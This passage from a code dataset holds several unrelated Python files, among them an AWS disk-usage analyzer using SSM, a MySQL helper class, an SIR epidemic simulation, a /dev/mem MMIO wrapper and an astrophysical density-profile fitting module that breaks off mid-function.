boto_session.client('ssm').list_command_invocations(CommandId=cmdId)\n for cmd in output:\n if cmd['Status'] == 'Success' and \\\n cmd['Comment'] == 'fc_diskanalyzer':\n tmp = CommandInfo(ec2Id=cmd['InstanceId'], cmdId=cmdId)\n cmd_list.append(tmp)\n return cmd_list\n except:\n e = sys.exc_info()\n print(\"ERROR failed to get command results %s\" %str(e))\n traceback.print_exc()\n return []\n\n\n# not currently used\n# get results per instances. useful when you want to get historical results.\ndef ssm_get_command_invocations_by_ec2Id(boto_session):\n try:\n cmd_list = []\n ec2_resource = boto_session.resource('ec2')\n ec2_list = ec2_resource.instances.all()\n\n for ec2 in ec2_list:\n # TODO add 'InvokedAfter' or 'MaxResults' to limit output?\n output = boto_session.client('ssm').list_command_invocations(InstanceId=ec2.id)\n for cmd in output['CommandInvocations']:\n if cmd['Status'] == \"Success\" and \\\n cmd['Comment'] == \"fc_diskanalyzer\":\n tmp = CommandInfo(ec2Id=ec2.id, cmdId=cmd['CommandId'])\n cmd_list.append(tmp)\n return cmd_list\n except:\n e = sys.exc_info()\n print(\"ERROR failed to get command results %s\" %str(e))\n traceback.print_exc()\n return []\n\n\n# From 'man df': Display values are in units of the first available\n# SIZE from --block-size, and the DF_BLOCK_SIZE, BLOCK_SIZE and BLOCKSIZE\n# environment variables. Otherwise, units default to 1024 bytes (or 512\n# if POSIXLY_CORRECT is set).\n#\n# So we'll just force the default with the -B option when sending the command\ndef parse_df_output(out):\n df_list = []\n soc = out['StandardOutputContent']\n tmp = soc.split('\\n') # split on new line for easier processing\n if len(tmp) < 1: # if for some reason output is empty\n return None\n for i in range(1, len(tmp)-1): # one blank line at end of output\n t = tmp[i].split()\n # only want volumes, not tmpfs\n if t[0].startswith(\"/dev/sd\") or t[0].startswith(\"/dev/xvd\"):\n a = {\"ec2Id\": out['InstanceId'],\n # the following nightmare converts the output's\n # time string into a unix timestamp\n \"timestamp\": int(time.mktime(datetime.datetime.strptime(\n out['ExecutionEndDateTime'], FC_TIME_FMT).timetuple())),\n \"dev\": t[0],\n \"size\": int(t[1])*DF_BLOCK_SIZE, # assumes 1K blocks\n \"used\": int(t[2])*DF_BLOCK_SIZE,\n \"free\": int(t[3])*DF_BLOCK_SIZE,\n \"used_pct\": t[4],\n \"mountpoint\": t[5]}\n df_list.append(a)\n return df_list\n\n\n# we care about fields Caption, DeviceID, FreeSpace, Size\ndef parse_wmic_output(out):\n wmic_list = []\n soc = out['StandardOutputContent']\n tmp = soc.split('\\n')\n if len(tmp) < 1: # if for some reason output is empty\n return None\n for i in range(1, len(tmp)-2): # two blank lines at end of output\n t = tmp[i].split()\n size = int(t[3]) # size in bytes\n used = int(t[3])-int(t[2])\n free = int(t[2])\n a = {\"ec2Id\": out['InstanceId'],\n # the following nightmare converts the output's\n # time string into a unix timestamp\n \"timestamp\": int(time.mktime(datetime.datetime.strptime(\n out['ExecutionEndDateTime'], FC_TIME_FMT).timetuple())),\n \"dev\": t[1],\n \"size\": size,\n \"used\": used,\n \"free\": free,\n \"used_pct\": \"%.0f%%\" %(float(used)/float(size)*100),\n \"mountpoint\": t[0]}\n wmic_list.append(a)\n return wmic_list\n\n\n# always print in GB to fit in 80-character-wide terminal\n# dump json raw, not human-readable. consumer of can apply transformations\n# to json output.\ndef print_results_tab(df_list, j=False):\n if j == True:\n print(json.dumps(df_list, sort_keys=True, indent=4))\n else:\n print(\"Ec2ID Device Mountpoint Size(GB) Free(GB) Used(GB) Used%\")\n for item in df_list:\n size = float(item['size']) / (1024*1024*1024)\n used = float(item['used']) / (1024*1024*1024)\n free = float(item['free']) / (1024*1024*1024)\n ssize = \"%.2f\" %size\n sused = \"%.2f\" %used\n sfree = \"%.2f\" %free\n # some formatting magic to make columns line up\n sdev = \"{0}{1:{width}}\".format(item['dev'], \"\", width=11-len(item['dev']))\n smount = item['mountpoint']\n if len(smount) > 10:\n smount = smount[0:10] # truncate long mountpoints\n smount = \"{0}{1:{width}}\".format(smount, \"\", width=10-len(item['mountpoint']))\n ssize = \"{0:{width}}{1}\".format(\"\", ssize, width=8-len(ssize))\n sfree = \"{0:{width}}{1}\".format(\"\", sfree, width=8-len(sfree))\n sused = \"{0:{width}}{1}\".format(\"\", sused, width=8-len(sused))\n spct = \"{0:{width}}{1}\".format(\"\", item['used_pct'], width=6-len(item['used_pct']))\n\n print(\"%s %s %s %s %s %s %s\" \\\n %(item['ec2Id'],\n sdev,\n smount,\n ssize,\n sfree,\n sused,\n spct))\n\n\n# not currently used\n# human readable can be blank for bytes, 'k' for KB, 'm' for MB, 'g' for GB\n# dump json raw, not human-readable. consumer of can apply transformations\n# to json output.\ndef print_results(df_list, human_readable='', j=False):\n if j == True:\n print(json.dumps(df_list, sort_keys=True, indent=4))\n else:\n for item in df_list:\n print(\"Ec2ID: %s\" %item['ec2Id'])\n print(\"Device: %s\" %item['dev'])\n print(\"Mount Point: %s\" %item['mountpoint'])\n print(\"Timestamp: %s\" %str(item['timestamp']))\n print(\"Used Pct: %s\" %item['used_pct'])\n if (human_readable == 'k'):\n size = float(item['size']) / 1024\n used = float(item['used']) / 1024\n free = float(item['free']) / 1024\n print(\"Size: %.2f K\" %size)\n print(\"Used: %.2f K\" %used)\n print(\"Free: %.2f K\" %free)\n elif (human_readable == 'm'):\n size = float(item['size']) / (1024*1024)\n used = float(item['used']) / (1024*1024)\n free = float(item['free']) / (1024*1024)\n print(\"Size: %.2f M\" %size)\n print(\"Used: %.2f M\" %used)\n print(\"Free: %.2f M\" %free)\n elif (human_readable == 'g'):\n size = float(item['size']) / (1024*1024*1024)\n used = float(item['used']) / (1024*1024*1024)\n free = float(item['free']) / (1024*1024*1024)\n print(\"Size: %.2f G\" %size)\n print(\"Used: %.2f G\" %used)\n print(\"Free: %.2f G\" %free)\n else:\n size = item['size']\n used = item['used']\n free = item['free']\n print(\"Size: %d\" %size)\n print(\"Used: %d\" %used)\n print(\"Free: %d\" %free)\n print('')\n\n\n# human-readable option currently not used, so hide it from usage\ndef print_usage():\n print(\"diskanalyzer.py \\n\"\n \"\\tOptions are:\\n\\n\"\n \"\\t--help - Display this help message\\n\"\n \"\\t-p --profile - AWS profile name (can be used instead of -a and -s options)\\n\"\n \"\\t-a --accesskey - AWS access key\\n\"\n \"\\t-s --secretkey - AWS secret key\\n\"\n \"\\t-r --regions - A list of AWS regions. If this option is omitted, all regions will be checked.\\n\"\n #\"\\t-h --human-readable <'k', 'm', or 'g'> display results in KB, MB, or GB.\\n\"\n \"\\t-j --json - Output in JSON format.\\n\\n\"\n \"\\tOne of the following three parameters are required:\\n\"\n \"\\t\\t1. Both the -a and -s options.\\n\"\n \"\\t\\t2. The -p option.\\n\"\n \"\\t\\t3. A valid \" + FC_AWS_ENV + \" enviornment variable.\\n\\n\"\n \"\\tDepending on the number of EBS volumes being analyzed, this tool make take several minutes to run.\")\n\n\ndef parse_options(argv):\n parser = argparse.ArgumentParser(prog=\"diskanalyzer.py\",\n add_help=False) # use print_usage() instead\n\n parser.add_argument(\"-p\", \"--profile\", type=str, required=False)\n parser.add_argument(\"-a\", \"--access-key\", type=str, required=False)\n parser.add_argument(\"-s\", \"--secret-key\", type=str, required=False)\n parser.add_argument(\"-r\", \"--regions\", type=str, default=\"\")\n parser.add_argument(\"-h\", \"--human_readable\", type=str, required=False, default='')\n parser.add_argument(\"-j\", \"--json\", action=\"store_true\", default=False)\n\n args = parser.parse_args(argv)\n if (len(args.regions) == 0):\n return args.profile, args.access_key, args.secret_key, [], args.human_readable, args.json\n else:\n return args.profile, args.access_key, args.secret_key, args.regions.split(','), args.human_readable, args.json \n\n\ndef parse_args(argv):\n # ArgumentParser's built-in way of automatically handling -h and --help\n # leaves much to be desired, so using this hack instead.\n for arg in argv:\n if (arg == '--help'):\n print_usage()\n os._exit(0)\n\n p, a, s, rList, h, j = parse_options(argv[1:])\n\n return p, a, s, rList, h, j\n\n\nif __name__ == \"__main__\":\n p, a, s, rList, h, j = parse_args(sys.argv)\n\n # need either -a and -s, -p, or AWS_DEFAULT_PROFILE environment variable\n if not a and not s and not p:\n if (FC_AWS_ENV in os.environ):\n p = os.environ[FC_AWS_ENV]\n else:\n print_usage()\n print(\"\\nError: must provide either -p option or -a and -s options\")\n os._exit(1)\n\n if a and not s and not p:\n print_usage()\n print(\"\\nError: must provide secret access key using -s option\")\n os._exit(1)\n\n if not a and s and not p:\n print_usage()\n print(\"\\nError: must provide access key using -a option\")\n os._exit(1)\n\n if p:\n try:\n home = os.environ[\"HOME\"]\n pFile = open(home + \"/.aws/credentials\", \"r\")\n line = pFile.readline()\n p = \"[\"+p+\"]\"\n while p not in line:\n line = pFile.readline()\n if (line == \"\"): # end of file\n print_usage()\n print(\"\\nError: invalid profile: %s\" %p)\n os._exit(1)\n\n # get access/secret keys\n a = pFile.readline().strip().split(\" \")[2]\n s = pFile.readline().strip().split(\" \")[2]\n\n except:\n print(\"Error reading credentials for profile %s.\" %p)\n os._exit(1)\n\n if (len(rList) == 0):\n rList = aws_regions\n\n if h != '' and h != 'k' and h != 'm' and h != 'g':\n print(\"Warning: invalid value for '--human-readable'. Ignoring.\")\n h = ''\n\n for r in rList:\n try:\n bs = boto3.Session(aws_access_key_id=a,\n aws_secret_access_key=s,\n region_name=r)\n ec2_resource = bs.resource('ec2')\n ec2_all = ec2_resource.instances.all()\n cmd_info_list = []\n i = 0\n for ec2 in ec2_all:\n # ec2.platform is empty if Linux. boto3 docs say that\n # the W in Windows should be upper-case, but it's wrong.\n if ec2.platform == \"windows\":\n cmdId = ssm_send_command_individual(bs, ec2.id,\n \"wmic logicaldisk get caption,deviceid,freespace,size\", \"windows\")\n else:\n df = \"df --block-size=%d\" %DF_BLOCK_SIZE\n cmdId = ssm_send_command_individual(bs, ec2.id, df)\n if (cmdId == None): # error\n continue # skip if SSM Agent not installed\n #print(\"ERROR: failed to send command to EC2 %s. Perhaps SSM Agent is not installed.\" %ec2.id) # common error\n else:\n cmd_info = CommandInfo(ec2Id=ec2.id, cmdId=cmdId, platform=ec2.platform)\n cmd_info_list.append(cmd_info)\n\n time.sleep(5) # wait for commands to finish executing\n out = []\n for cmd in cmd_info_list:\n output = ssm_get_command_results(bs, cmd)\n if (cmd.platform == \"windows\"):\n lst = parse_wmic_output(output)\n else:\n lst = parse_df_output(output)\n for tmp in lst:\n out.append(tmp)\n print_results_tab(out, j) # default to sizes in GB\n\n except:\n e = sys.exc_info()\n print(\"ERROR: exception region=%s, error=%s\" %(r, str(e)))\n traceback.print_exc()\n os._exit(1)\n","repo_name":"rcyrus/diskanalyzer","sub_path":"diskanalyzer.py","file_name":"diskanalyzer.py","file_ext":"py","file_size_in_byte":16858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37995638438","text":"import setuptools\nfrom pyp8s import __version__\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"pyp8s\",\n version=__version__,\n author=\"Pavel Kim\",\n author_email=\"hello@pavelkim.com\",\n description=\"Customisable prometheus exporter for your python application\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/pyp8s/pyp8s\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\n \"Operating System :: OS Independent\",\n ],\n python_requires='>=3.6',\n install_requires=[\n ]\n)\n","repo_name":"pyp8s/pyp8s","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20445637211","text":"def error_b(last, vvod):\n while True:\n y = input(vvod) \n print('last=', last)\n try:\n return number_into_underscore(y, last)\n except ValueError:\n pass\n \n \ndef number_into_underscore(y, last):\n \n if y == \"_\":\n y = last\n return y \n else:\n return int(y)\n \n\n \n \n \ndef error_sign():\n while True:\n sign = input(\"sign?\")\n if sign == \"-\" or sign == \"+\" or sign == \"/\" or sign == \"*\" or sign == \"=\":\n return sign \n else:\n print(\"Invalid sign\")\n continue\n \ndef Calculate():\n x = 0\n b = 0\n last = 0\n a = error_b(last, \"first?\")\n while True:\n sign = error_sign() \n b = error_b(last, \"next?\")\n print('b = ', b)\n print('last=', last)\n if sign == \"-\":\n x = a - b \n elif sign == \"+\":\n x = a + b\n elif sign == \"/\":\n x = a / b\n elif sign == \"*\":\n x = a * b\n else:\n print(\"Wrong operation\")\n last = a = x\n print('x = ', x)\n continue\n\n\nCalculate()\n","repo_name":"OlenaMylian/Python_Base","sub_path":"awesomecalculate.py","file_name":"awesomecalculate.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15857489749","text":"import mysql.connector as connection\n\nclass SqlDbManagement:\n def __init__(self, username, password):\n try:\n self.username = username\n self.password = password\n \n self.host = \"localhost\"\n except Exception as e:\n raise Exception(f\"(__init__): Something went wrong on initiation of SqlDbManagement\\n\" + str(e))\n \n def getSqlConnection(self):\n try:\n myDb = connection.connect(host=self.host, user=self.username, passwd=self.password, use_pure=True)\n return myDb\n except Exception as e:\n raise Exception(f\"(getSqlConnection): problem ocurred when connecting with database\\n\" + str(e))\n\n def getListOfDatabases(self, query):\n try:\n myDb = self.getSqlConnection()\n cursor = myDb.cursor()\n cursor.execute(query)\n return cursor.fetchall()\n except Exception as e:\n raise Exception(f\"(getFromShowQuery): show databases query failed to exceute query\\n\" + str(e))\n \n def getListOfTables(self, query, db):\n try:\n myDb = self.getSqlConnection()\n cursor = myDb.cursor()\n cursor.execute(\"USE \" +db)\n cursor.execute(query)\n return cursor.fetchall()\n except Exception as e:\n raise Exception(f\"(getListOfTables): show tables query failed to execute query\\n\" + str(e))\n\n def createDatabase(self, db_name):\n try:\n myDb = self.getSqlConnection()\n query = \"CREATE DATABASE IF NOT EXISTS \" + db_name\n cursor = myDb.cursor()\n cursor.execute(query)\n return True\n except Exception as e:\n raise Exception(f\"(createDatabase): failed to create database \" + str(db_name) + \"\\n\" + str(e))\n\n def createTable(self, db_name, columns, table_name):\n try:\n myDb = self.getSqlConnection()\n cursor = myDb.cursor()\n cursor.execute(\"use \" + db_name)\n cursor.execute(\"CREATE TABLE IF NOT EXISTS \" + table_name + \"(\" + columns + \");\")\n return True\n except Exception as e:\n raise Exception(f\"(createTable): failed to create table \" + str(table_name) + \"\\n\" + str(e))\n \n def selectQuery(self, db_name, query):\n try:\n myDb = self.getSqlConnection()\n cursor = myDb.cursor()\n cursor.execute(\"use \" + db_name)\n cursor.execute(query)\n return cursor.fetchall()\n except Exception as e:\n raise Exception(f\"(selectQuery): failed to execute the select query\\n\" + str(e))\n\n def fetchAllColumnsList(self, db_name, table_name):\n try:\n myDb = self.getSqlConnection()\n cursor = myDb.cursor()\n cursor.execute(\"use \" + db_name)\n cursor.execute(\"select column_name from INFORMATION_SCHEMA.COLUMNS where table_name = '\" + table_name + \"' order by ordinal_position\")\n return cursor.fetchall()\n except Exception as e:\n raise Exception(f\"(fetchAllColumnsList): failed to fetch all columns\\n\" + str(e))\n\n def insertDataIntoTable(self, db_name, table_name, columns, values):\n try:\n myDb = self.getSqlConnection()\n cursor = myDb.cursor()\n cursor.execute(\"use \" + db_name)\n cursor.execute(\"INSERT INTO \"+ table_name + columns + \" VALUES(\"+ values +\")\")\n except Exception as e:\n raise Exception(f\"(insertDataIntoTable): failed to insert data into table\\n\" + str(e))\n","repo_name":"satya8430/sql_Db_python","sub_path":"SQL_DbOperations.py","file_name":"SQL_DbOperations.py","file_ext":"py","file_size_in_byte":3583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10132978901","text":"import pygame\nfrom person import Person \nfrom settings import Settings\nimport math \nfrom numpy import *\n\nsettings = Settings()\n\n# Crowd/Herd class\nclass Crowd:\n\n # Input fraction of infected people\n def __init__(self, infected_fraction):\n self.N = settings.N\n\n infected = int(math.ceil(infected_fraction * self.N))\n\n # Lists of different groups\n self.susceptible_people = [Person('Susceptible') for i in range(self.N - infected)]\n self.infected_people = [Person('Infected') for i in range(infected)]\n self.recovered_people = []\n \n # Total people \n self.total_people = self.susceptible_people + self.infected_people + self.recovered_people \n\n # Draw all people \n def draw(self, screen):\n for person in self.total_people:\n person.draw(screen)\n\n # Move all people \n def move(self):\n for person in self.total_people:\n person.update()\n \n # Spread the infection \n def infection_spread(self):\n for person in self.susceptible_people[:]:\n for i in self.infected_people[:]:\n if person.check_infection(i):\n self.susceptible_people.remove(person)\n self.infected_people.append(person)\n person.infection_time = pygame.time.get_ticks()\n\n # Recover those infected \n def recover(self): \n for person in self.infected_people[:]:\n if person.recover():\n self.infected_people.remove(person)\n self.recovered_people.append(person)\n\n # Return the number of each group \n def get_stats(self):\n return len(self.susceptible_people), len(self.infected_people), len(self.recovered_people)","repo_name":"jclooney825/SIR-Model","sub_path":"crowd.py","file_name":"crowd.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74977775892","text":"# This file will need to use the DataManager,FlightSearch, FlightData, NotificationManager classes to achieve the program requirements.\n# a1tTqGjjHpfgKhmUp-_3ar9_Y7b5L4QC\nfrom data_manager import DataManager\nfrom flight_search import FlightSearch\nfrom flight_data import FlightData\nfrom notification_manager import NotificationManager\n\ndata_manager = DataManager()\nflight_search = FlightSearch()\nflight_data = FlightData()\nnotification_manager = NotificationManager()\n\nexcel_data = data_manager.get_data()\n\nfor city in excel_data:\n if city[\"iataCode\"] == \"\":\n city[\"iataCode\"] = flight_search.get_iata_code(city[\"city\"])\ndata_manager.data_set = excel_data\ndata_manager.update_iata_code()\n\nfor city in excel_data:\n data_for_flight = flight_data.get_flight_data(dest_city=city[\"iataCode\"])\n if city[\"lowestPrice\"] > data_for_flight[\"price\"]:\n notification_manager.send_email(data_for_flight)\n","repo_name":"dsb00715/projects_100days","sub_path":"day39_flight_deal_tracker/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36057221606","text":"class Node:\n def __init__(self, data, next=None):\n self.data = data\n self.next = next\n\n\ndef reverse_linked_list(head):\n if not head or not head.next:\n return head\n prev = None\n while head:\n current = head\n head = head.next\n current.next = prev\n prev = current\n return prev","repo_name":"smartinsert/CodingProblem","sub_path":"reverse_linked_list.py","file_name":"reverse_linked_list.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22933314245","text":"from collections import deque\nfrom typing import List, Dict, Deque\n\n\nclass Transaction:\n def __init__(self, index: int, name: str, time: int, amount: int, city: str):\n self.index = index\n self.name = name\n self.time = time\n self.amount = amount\n self.city = city\n\n\nclass Underwriter:\n # 1. string to Transaction object\n # 2. filter invalid transactions by the rules\n # 3. union the result got from different rules\n def identify_invalid_transactions(transactions: List[str]):\n amountThreshold = 2000\n timeThreshold = 60\n txnIndex = -1\n\n def stringToTransaction(s: str):\n nonlocal txnIndex\n splitted = s.split(\",\")\n txnIndex += 1\n return Transaction(txnIndex, splitted[0], int(splitted[1]), int(splitted[2]), splitted[3])\n\n structuredTransactions = list(map(stringToTransaction, transactions))\n\n # invalid because of the amount\n invalidAmount = set(\n map(lambda x: x.index, filter(lambda txn: txn.amount > amountThreshold, structuredTransactions)))\n\n # invalid because of same name + time window + same price\n invalidExactPrice = set()\n # invalid because of same name + time window + different city\n invalidDifferentCity = set()\n # # invalid because of same name + same time\n invalidSameTime = set()\n\n # group by name, collect their transactions ordered by time\n structuredTransactionsSortedByTime = sorted(structuredTransactions, key=lambda txn: txn.time)\n history: Dict[str, List[Transaction]] = dict()\n for txn in structuredTransactionsSortedByTime:\n if history.get(txn.name) is None:\n history[txn.name] = []\n history[txn.name].append(txn)\n\n # maintain a time window for each name's transaction list\n # for each transaction record, traverse the time window and try to match with the rules\n for historyForEachName in history.values():\n histDict: Dict[int, Transaction] = dict()\n q: Deque[Transaction] = deque()\n for txn in historyForEachName:\n while len(q) > 0 and txn.time > q[0].time + timeThreshold:\n popped = q.popleft()\n del histDict[popped.index]\n for otherTxnInWindow in histDict.values():\n if otherTxnInWindow.amount == txn.amount:\n invalidExactPrice.add(otherTxnInWindow.index)\n invalidExactPrice.add(txn.index)\n if otherTxnInWindow.city != txn.city:\n invalidDifferentCity.add(otherTxnInWindow.index)\n invalidDifferentCity.add(txn.index)\n if otherTxnInWindow.time == txn.time:\n invalidSameTime.add(otherTxnInWindow.index)\n invalidSameTime.add(txn.index)\n q.append(txn)\n histDict[txn.index] = txn\n\n invalid_indexes = invalidAmount.union(invalidExactPrice).union(invalidDifferentCity).union(invalidSameTime)\n return list(map(lambda idx: transactions[idx], invalid_indexes))\n\n","repo_name":"vicety/LeetCode","sub_path":"python/interview/2023-fulltime/klarna/2_2.py","file_name":"2_2.py","file_ext":"py","file_size_in_byte":3204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"69892208534","text":"'''\nStripped down version from https://github.com/vsergeev/python-periphery/blob/master/periphery/mmio.py\n'''\nimport mmap\nimport os\nimport struct\nimport sys\n\n# Alias long to int on Python 3\nif sys.version_info[0] >= 3:\n long = int\n\n\nclass MMIOError(IOError):\n \"\"\"Base class for MMIO errors.\"\"\"\n pass\n\n\nclass MMIO(object):\n def __init__(self, physaddr, size):\n \"\"\"Instantiate an MMIO object and map the region of physical memory\n specified by the address base `physaddr` and size `size` in bytes.\n Args:\n physaddr (int, long): base physical address of memory region.\n size (int, long): size of memory region.\n Returns:\n MMIO: MMIO object.\n Raises:\n MMIOError: if an I/O or OS error occurs.\n TypeError: if `physaddr` or `size` types are invalid.\n \"\"\"\n self.mapping = None\n self._open(physaddr, size)\n\n def __del__(self):\n self.close()\n\n def __enter__(self):\n pass\n\n def __exit__(self, t, value, traceback):\n self.close()\n\n def _open(self, physaddr, size):\n if not isinstance(physaddr, (int, long)):\n raise TypeError(\"Invalid physaddr type, should be integer.\")\n if not isinstance(size, (int, long)):\n raise TypeError(\"Invalid size type, should be integer.\")\n\n pagesize = os.sysconf(os.sysconf_names['SC_PAGESIZE'])\n\n self._physaddr = physaddr\n self._size = size\n self._aligned_physaddr = physaddr - (physaddr % pagesize)\n self._aligned_size = size + (physaddr - self._aligned_physaddr)\n\n try:\n fd = os.open(\"/dev/mem\", os.O_RDWR | os.O_SYNC)\n except OSError as e:\n raise MMIOError(e.errno, \"Opening /dev/mem: \" + e.strerror)\n\n try:\n self.mapping = mmap.mmap(\n fd, self._aligned_size, flags=mmap.MAP_SHARED, prot=mmap.PROT_WRITE, offset=self._aligned_physaddr)\n except OSError as e:\n raise MMIOError(e.errno, \"Mapping /dev/mem: \" + e.strerror)\n\n try:\n os.close(fd)\n except OSError as e:\n raise MMIOError(e.errno, \"Closing /dev/mem: \" + e.strerror)\n\n # Methods\n\n def _adjust_offset(self, offset):\n return offset + (self._physaddr - self._aligned_physaddr)\n\n def _validate_offset(self, offset, length):\n if (offset + length) > self._aligned_size:\n raise ValueError(\"Offset out of bounds.\")\n\n def read32(self, offset):\n \"\"\"Read 32-bits from the specified `offset` in bytes, relative to the\n base physical address of the MMIO region.\n Args:\n offset (int, long): offset from base physical address, in bytes.\n Returns:\n int: 32-bit value read.\n Raises:\n TypeError: if `offset` type is invalid.\n ValueError: if `offset` is out of bounds.\n \"\"\"\n if not isinstance(offset, (int, long)):\n raise TypeError(\"Invalid offset type, should be integer.\")\n\n offset = self._adjust_offset(offset)\n self._validate_offset(offset, 4)\n return struct.unpack(\"=L\", self.mapping[offset:offset + 4])[0]\n\n def write32(self, offset, value):\n \"\"\"Write 32-bits to the specified `offset` in bytes, relative to the\n base physical address of the MMIO region.\n Args:\n offset (int, long): offset from base physical address, in bytes.\n value (int, long): 32-bit value to write.\n Raises:\n TypeError: if `offset` or `value` type are invalid.\n ValueError: if `offset` or `value` are out of bounds.\n \"\"\"\n if not isinstance(offset, (int, long)):\n raise TypeError(\"Invalid offset type, should be integer.\")\n if not isinstance(value, (int, long)):\n raise TypeError(\"Invalid value type, should be integer.\")\n if value < 0 or value > 0xffffffff:\n raise ValueError(\"Value out of bounds.\")\n\n offset = self._adjust_offset(offset)\n self._validate_offset(offset, 4)\n self.mapping[offset:offset + 4] = struct.pack(\"=L\", value)\n\n def close(self):\n \"\"\"Unmap the MMIO object's mapped physical memory.\"\"\"\n if self.mapping is None:\n return\n\n self.mapping.close()\n self.mapping = None\n\n self._fd = None\n\n # String representation\n\n def __str__(self):\n return \"MMIO 0x%08x (size=%d)\" % (self.base, self.size)\n","repo_name":"erpalma/throttled","sub_path":"mmio.py","file_name":"mmio.py","file_ext":"py","file_size_in_byte":4475,"program_lang":"python","lang":"en","doc_type":"code","stars":2517,"dataset":"github-code","pt":"67"} +{"seq_id":"24759385698","text":"#!/usr/bin/python\nfrom mmlutils import mmlpars,mmlio,mmlmath\nimport mmlcosmo\nimport math\nimport numpy as np\nfrom scipy import integrate,optimize,special\n\n####################################################################################################################################\n####################################################################################################################################\n# METHODS TO RETURN LISTS\nLIST_PROFILES_SPH=['NFW','HERNQUIST','ISOTHERMAL','SPH2POW','JAFFE','EINASTO']\nLIST_PROFILES_CYL=['HIYASHI','FLATDISK']\nLIST_PROFILES=LIST_PROFILES_SPH+LIST_PROFILES_CYL\nDICT_PROFABRV={'LH':'HERNQUIST','NF':'NFW','LH':'HERNQUIST'}\nLIST_PROFMETH=['rho','mass','pot']\nDICT_PROFPAR={'ISOTHERMAL':['ms','rs','rt'],\n 'HIYASHI' :['ms','rs','zs'],\n 'EINASTO' :['ms','rs','a'],\n 'SPH2POW' :['ms','rs','a','b'],\n 'OTHER' :['ms','rs']}\n\n####################################################################################################################################\n####################################################################################################################################\n# METHODS TO RETURN PROFILE INFO\n\n####################################################################################################################################\n# METHOD TO RETURN GENERAL PROFILE\ndef main(profid,r=None,z=None,a=None,b=None,**inkw):\n \"\"\"\n Provides command line access to profiles\n \"\"\"\n # Pars input\n if profid.upper() in DICT_PROFABRV: profid=DICT_PROFABRV[profid.upper()]\n profid=mmlpars.mml_pars(profid.upper(),list=LIST_PROFILES)\n # Proceed based on profile\n if profid=='SPH2POW' : outvar=profile_sph2pow(r,a,b,**inkw)\n elif profid=='JAFFE' : outvar=profile_jaffe(r,**inkw)\n elif profid=='NFW' : outvar=profile_nfw(r,**inkw)\n elif profid=='HERNQUIST' : outvar=profile_hernquist(r,**inkw)\n elif profid=='ISOTHERMAL': outvar=profile_isothermal(r,**inkw)\n elif profid=='HIYASHI' : outvar=profile_hiyashi(r,z,**inkw)\n elif profid=='FLATDISK' : outvar=profile_flatdisk(r,**inkw)\n elif profid=='EINASTO' : outvar=profile_einasto(r,a,**inkw)\n else: raise Exception('Invalid profile ID: {}'.format(profid))\n # Return output\n return outvar\n\n####################################################################################################################################\n# METHOD TO FIT PROFILE\ndef fit(profid,y,r=None,z=None,method=None,G=1.0,plotfile=None,**inkw):\n \"\"\"\n Returns fit parameters for a profile\n \"\"\"\n # Pars input\n y=mmlpars.mml_pars(y,type=np.ndarray)\n if profid.upper() in DICT_PROFABRV: profid=DICT_PROFABRV[profid.upper()]\n profid=mmlpars.mml_pars(profid.upper(),list=LIST_PROFILES)\n method=mmlpars.mml_pars(method,list=LIST_PROFMETH,default='mass')\n if profid in DICT_PROFPAR.keys(): parlist=DICT_PROFPAR[profid]\n else : parlist=DICT_PROFPAR['OTHER']\n # Get initial guess\n p0=[] ; bounds=[]\n for ipar in parlist: \n if ipar in inkw: p0.append(inkw[ipar])\n else : p0.append(1.)\n if ipar in ['ms','rs','rt','zs']: bounds.append((0. ,None))\n else : bounds.append((None,None))\n # Handle function bassed on profile\n if profid=='HIYASHI' : \n if r==None and z==None: raise Exception('Either r or z must be provided.')\n elif r==None: defval=z.max()\n elif z==None: defval=r.max()\n if method=='rho': vardef=np.zeros(y.shape)\n else : vardef=defval*np.ones(y.shape)\n r=mmlpars.mml_pars(r,default=vardef,type=np.ndarray,shape=y.shape)\n z=mmlpars.mml_pars(z,default=vardef,type=np.ndarray,shape=y.shape)\n inargs=(r,z,y)\n fitfunc=lambda p,ri,zi: main(profid,method=method,r=ri,z=zi,G=G,**{parlist[idx]:p[idx] for idx in range(len(parlist))})\n errfunc_lsq=lambda p,ri,zi,yi: fitfunc(p,ri,zi)-yi\n errfunc_min=lambda p,ri,zi,yi: sum(errfunc_lsq(p,ri,zi,yi)**2)\n else: \n r=mmlpars.mml_pars(r,type=np.ndarray,shape=y.shape)\n inargs=(r,y)\n fitfunc=lambda p,ri: main(profid,method=method,r=ri,G=G,**{parlist[idx]:p[idx] for idx in range(len(parlist))})\n errfunc_lsq=lambda p,ri,yi: fitfunc(p,ri)-yi\n errfunc_min=lambda p,ri,yi: sum(errfunc_lsq(p,ri,yi)**2)\n # Fit\n if hasattr(optimize,'minimize'):\n res=optimize.minimize(errfunc_min,p0[:],args=inargs,bounds=bounds)\n p1=res.x ; success=res.success\n else:\n p1,success=mmlmath.leastsq(errfunc_lsq,p0[:],args=inargs,bounds=bounds)\n # Plot\n if plotfile:\n import matplotlib.pyplot as plt\n plt.close('all')\n plt.plot(r,y,'r.')\n plt.plot(r,fitfunc(p1,r),'b-')\n plt.savefig(plotfile)\n # Create dictionary of parameters\n outpar={parlist[idx]:p1[idx] for idx in range(len(parlist))}\n return outpar\n\n####################################################################################################################################\n# METHOD TO RETURN EINASTO PROFILE\ndef 